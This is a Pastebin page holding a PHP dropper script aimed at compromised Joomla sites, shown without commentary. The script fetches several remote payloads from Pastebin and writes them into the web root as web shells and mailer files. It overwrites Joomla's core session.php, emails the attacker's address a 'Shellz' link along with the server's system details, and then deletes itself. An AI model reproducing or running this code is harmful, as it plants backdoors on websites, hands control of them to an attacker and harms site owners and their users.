Advertisement
Guest User

Untitled

a guest
Mar 15th, 2016
621
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.91 KB | None | 0 0
  1. <?php
  2. function http_get($url){
  3.     $im = curl_init($url);
  4.     curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
  5.     curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
  6.     curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
  7.     curl_setopt($im, CURLOPT_HEADER, 0);
  8.     return curl_exec($im);
  9.     curl_close($im);
  10. }
  11. $check = $_SERVER['DOCUMENT_ROOT'] . "/media/css.php" ;
  12. $text = http_get('http://pastebin.com/raw/HbjsxwNU');
  13. $open = fopen($check, 'w');
  14. fwrite($open, $text);
  15. fclose($open);
  16. if(file_exists($check)){
  17.     echo $check."</br>";
  18. }else
  19.   echo "not exits";
  20. echo "done .\n " ;
  21. $check2 = $_SERVER['DOCUMENT_ROOT'] . "/media/mass.php" ;
  22. $text2 = http_get('http://pastebin.com/raw/vdU1gPBk');
  23. $open2 = fopen($check2, 'w');
  24. fwrite($open2, $text2);
  25. fclose($open2);
  26. if(file_exists($check2)){
  27.     echo $check2."</br>";
  28. }else
  29.   echo "not exits2";
  30. echo "done2 .\n " ;
  31.  
  32. $check3=$_SERVER['DOCUMENT_ROOT'] . "/sniper.htm" ;
  33. $text3 = http_get('http://pastebin.com/raw/Vb3PT15b');
  34. $op3=fopen($check3, 'w');
  35. fwrite($op3,$text3);
  36. fclose($op3);
  37.  
  38. $check4=$_SERVER['DOCUMENT_ROOT'] . "/media/bypass.php" ;
  39. $text4 = http_get('http://pastebin.com/raw/qxXDs27v');
  40. $op4=fopen($check4, 'w');
  41. fwrite($op4,$text4);
  42. fclose($op4);
  43.  
  44. $check5=$_SERVER['DOCUMENT_ROOT'] . "//media/jmails.php" ;
  45. $text5 = http_get('http://pastebin.com/raw/hga1ERSc');
  46. $op5=fopen($check5, 'w');
  47. fwrite($op5,$text5);
  48. fclose($op5);
  49.  
  50. $check6=$_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/session/session.php" ;
  51. $text6 = http_get('http://pastebin.com/raw/UHAGT887');
  52. $op6=fopen($check6, 'w');
  53. fwrite($op6,$text6);
  54. fclose($op6);
  55.  
  56. $toz = "baladarin3@gmail.com";
  57. $subject = 'Jom zzz ' . $_SERVER['SERVER_NAME'];
  58. $header = 'from: Kekkai Sensen <baladarin3@gmail.com>' . "\r\n";
  59. $message = "Shellz : http://" . $_SERVER['SERVER_NAME'] . "/libraries/joomla/jmail.php?u" . "\r\n" . php_uname() . "\r\n";
  60. $sentmail = @mail($toz, $subject, $message, $header);
  61.  
  62. @unlink(__FILE__);
  63.  
  64.  
  65. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement